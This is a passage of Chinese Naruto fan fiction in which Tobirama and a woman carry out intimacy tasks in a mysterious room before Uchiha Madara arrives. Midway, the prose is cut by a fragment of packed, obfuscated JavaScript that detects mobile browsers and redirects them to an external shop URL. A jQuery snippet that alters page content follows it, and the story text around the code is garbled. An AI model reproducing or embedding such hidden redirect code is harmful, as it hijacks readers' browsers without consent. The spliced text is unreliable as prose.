“算了,放弃吧。”
这回我是真心打起了退堂鼓,但话音刚落,却被她猛地一推,按在了椅子上,眨眼之间她坐到了我的腿上,伸手紧紧抱住了我。
身下泛起燥热的悸动,我僵着身体,一动也不敢动。伴随着时间的流逝,生理反应非但没能平复,反而是浑身血液烧的越来越滚烫,身体明显开始变化。
不妙,真的太不妙了,我只能强忍着克制自己,转过头不去看她。
万幸,没过多久她便从我身上退了下去。我连忙开口劝她,往后再遇到这种情况,不必这样勉强自己。
她却叹了口气,表示舍不得积攒已久的积分。看她如此坚持,我也不好再继续劝下去。
紧接着的问题是,我想被对方碰身体哪个部位。
我眼前浮现起她过去双手攀住我脖颈的模样,那难以言喻的异样感涌上心头,我顺理成章的答出是脖颈。
她面带疑惑,似乎不明白为何是这个部位。
我粗略的为她解释了一遍,脖颈是人要害所在,也是身上最脆弱的软肋,想来生在和平中的人,是不会明白露出脖颈是什么特殊含义。
她听着,仍是一副似懂非懂的模样,我也不愿细说下去,毕竟她没必要知道那么多残酷的事情。
下一题,要求她对我说出最想说的情话。
我暗暗竖起耳朵,只听到她轻声表示,希望我能在这里卸下身上的重担,好好休息,在她身边时,也不需要背负千手一族的责任,安心享受生活就好。
听着她的话,一种久违的轻松感涌上心头,我甚至升起兴趣,手痒的想研究下灶台间那些稀奇古怪的厨具,我终于可以追求些自己的爱好了。
她说完情话,又轮到我作答,我不是个花言巧语的人,比起巧言令色,我更愿意身体力行来表达自己。
“我会对你负责的。”
无论是从开始到现在的亲密行为,还是我们两个人之间逐渐升温的感情...我已经下定决心,要对她所交代,扛起应有的责任。
正当我暗自思忖,回到忍界该如何与大哥、族人们说清楚这些事,一切如我所料那般,这里限定了她说真心话的次数,并再次发布要求,让她用鼻尖蹭我的鼻尖。
她小心翼翼又面含羞怯的请求我闭上眼睛,我心下微动,其实我是感知型忍者,纵使闭上眼睛,也能清晰的捕捉到她所有的动作和气息。
可望着对方难为情的模样,我终究没有道出实情,只是闭上了眼睛,然而周遭一切的动静,我知道的一清二楚。
她屏住呼吸,小心的蹭着我的鼻尖,微热的气息扑洒在我的脸上。或许是因为身高差的关系,她踮着脚,身体颤颤巍巍的几次都要站不住。
我顺势揽过她,用自己的力气稳稳撑着她,希望能让她轻松些。
时间一到,她怒气冲冲的手指屏幕发飙,原来她也早就忍不住这个鬼地方的规则了。
我忙制止了她,如果再说下去,说不准会惹怒创造这个地方的人。
看着她仍然愤愤不平的模样,我又想到一种可能:会不会是她还不想和我做那些亲密的举动?
可我问出口便后悔了,什么时候我也变得这般患得患失、胡思乱想。
她连忙表示,不是针对我,只是对这个鬼地方一而再再而三的无礼要求感到厌烦,并且她还十分担心,若是这里要求我们做出些出格的事该怎么办。
我瞬间了然,原来对方如此焦躁不安,是顾虑这个。
我再次郑重的开口言明,我不会强迫她,那种事情除非是你情我愿,否则绝不可能发生。
她露出了安心的笑容,同样也表示,我也有拒绝的权利,但其实只要是在我的底线之内,我是不会拒绝的。
而下一个指令,恰恰就是在我可接受的底线之内,要求我抱着她吻一下。
她一边耐心教导我,一边为我科普‘公主抱’——原来就是横抱。
我稍一使力,很轻松就把她抱起来,可瞥见她惴惴不安的模样,心头一紧,难道是我力道没把控好,弄疼她了?可我明明尽量控制力度了。
索性抱着的时间很短,在放下她时,我轻轻亲了下她的嘴,但由于我技术不好,竟不小心咬住了她的下唇。
我忙收回嘴,放下了她,她脸红得像是被煮熟了,我心底也泛起阵阵羞臊,好在这时提示音打断了我们之间尴尬,要求她说出一个只敢对我做的动作。
她不假思索的表示,她受到攻击时只敢躲在我的背后,而且还相信,在她遇见危险时我一定能及时赶来救她。
我闻言,微微挺起胸膛,我确实有那个能力保护好她,正当我心里感到满意时,下一个要求却如惊雷在耳畔炸开,竟然要我从额头一路亲到对方的下巴?
想起方才不慎咬到她嘴唇,我想开口迂回,但对方却紧紧闭着眼睛,主动将脸凑到了我面前。
我无奈轻叹,既如此我只能克制自己的力道了。
我凑近她的脸,吻在她额间,顺着眉头下移,在掠过眼睛时,她的身体止不住战栗着,眼睫也跟着颤抖起来。
我忙加快速度,轻点鼻尖,最后覆上柔软的唇瓣,缠绵片刻继续沿着下颌线,落在对方的下巴上。
万幸的是,我的技术总归是提高了几分,至少不会再不小心咬到对方了。
我刚松一口气,屏幕刷新出新的命令,要求她把手伸进我胸口的衣服里。
对方面露苦涩,眉眼间满是窘迫,显然她也被折腾得快要奔溃。我主动解开衣服,拉过她的手,放到了我的胸口上。
细腻光滑的手掌摸到胸膛的刹那,我心跳猛地失衡,几乎要蹦出来,一时竟不知该作何反应,只能任凭对方贴着。
她轻声打趣一句,说我身材很好。我身上发烫,嘴巴像被黏住了似得,讷讷半晌,勉强的回应了一句。
漫长的规则要求终于要过去,我迎来了最后一道题,是问我觉得自己吻技怎么样,我坦然的如实回答,有待提升。
话音刚落,空间外爆发声巨响,冷漠的嗓音隔着墙体传来,那种既熟悉又陌生的查克拉让我浑身汗毛直竖,穿过花纹,来人果真是宇智波斑。
我下意识将她牢牢护在身后,摩挲着腰间的刀,脑子飞速模拟起对方的起始招数,并想着防备对策。
然而未等我出手,宇智波斑率先开口,提到了大哥。
我身形怔住,鼻尖发酸,忍不住问起大哥的状况,谁料宇智波斑话里话外像是在责怪我没有尽早离开这个地方,惹得大哥担心。
我心里无名火四起,这家伙又懂什么!
就在这时,她从我身后战出来,为我争辩,我想这大概也是第一个敢和宇智波斑抢嘴的女性吧。
望着斑面上难得流露出不自然的神情,我感觉心里舒服多了,随即沉声告知他,既然他那么有自信,就凭借自己的本事想办法出去吧。
斑却嗤之以鼻,一口咬定我是因为实力原因才出不去,
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401784|200426||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>我冷笑一声,拉着她来到一边,不想再和宇智波斑多费口舌,心里却有个不好的猜测:这个鬼地方不会撮合她和宇智波斑吧?
她似乎是看出我心情不好,问我为什么不开心,我实话实说,一是因为大哥,二是担心她和宇智波斑也会被强迫做那些事。
她很认真的告诉我她不会,又提到宇智波斑才不是那种乖乖听话的性格,这点我很赞同,按照宇智波斑那桀骜不驯的脾气,要他向这里低头,根本就是天大的笑话。
果不其然,宇智波斑铩羽而归,他冲着我发问,我却懒得搭理,刚才不还言之凿凿的说自己能出去吗?
也不知是不是创造这个世界的人偏心,它竟主动将这里的规则尽数告知了斑。
斑又语气不善问到我们进展到哪一步,怎么难道在他眼里,我是那种趁人之危的人吗?我只淡淡回了他一句。
宇智波斑一步步走到我面前,冷眼注视着我,似是在表达自己的不满。
顾忌到她在场,我也不想和宇智波斑动手,只抬眼与他对峙着。
直到这个地方提醒宇智波斑,他24小时后就可以出去,他才敛去周身戾气,独自坐到廊下,不再多言。
我见状,干脆闭上眼睛,眼不见心为净。可待我再次睁眼时,她竟然招待起宇智波斑,递给对方一杯水。
我眼角一抽,给人奉一盏白水,是隐晦撵人离去的意思。
我连忙瞬身到她身边,警惕的看着斑,但斑在接下白水后,并没有发难,我心中震惊,这家伙竟然接受了?
我忙支走她,并向斑解释,她没有其他的想法,只是对礼法不熟悉。
斑点点头,随即表示会把这里的情况告诉大哥。
虽说我向来与宇智波斑不对付,可我知道他对大哥的心意是纯粹真挚的。
想至此,我放下了方才的芥蒂,跟他真诚的都说了声感谢,并告诉他,我留在这里其实并不是单纯的享受,这里有一份关乎未来的重要情报,而这份情报与大哥的梦想息息相关。
提到大哥的梦想,宇智波斑怔住,方才还冷硬的眉眼竟弥漫了几分温情,脸色变得逐渐柔和,他朝屋里瞥了一眼,问我是否要娶对方,如果是有意,他也会如实告诉大哥。
我不敢妄下定论,只能说主动权在对方手里。斑意外的挑了下眉毛,但很快又恢复了往日的冷淡神情,微微颔首表示他明白了。
我们两个又聊了几句,随即斑再次离开去探查周围情报,我走进卧室,正撞见她趴在门缝间偷听,我赶紧扶住了她。
原来,她是怕我和斑打架?我们两个现在又不是在战场上,没必要战斗。
我给她简单解释了一下,可她说话还是三句不离宇智波斑,我心底升起阵阵烦躁,忙扯开话题,讲到了积分。
没成想,她眼神亮晶晶的不由分说便要往我怀里钻,想以此拿到更多的积分。
既然她思路这么活跃,我顺势提出了更进一步,她垂下头思考良久,随即像是下定决心,主动贴上了我的嘴唇。
我撬开对方的唇齿,小心的与她轻轻相缠,舌尖相触时微麻的触感顺着我的脊背神经往上窜、
直到彼此都有些缺氧,我才稍稍分开二人间的距离,但仍是唇瓣贴在一起,气息不匀的轻喘着。
我看着对方,她眼底蒙了一层湿润的光,小声嘟囔了一句“你不是说自己吻技不好吗?”
我低笑了一声,事实证明只要反复练习,就会越来越得心应手。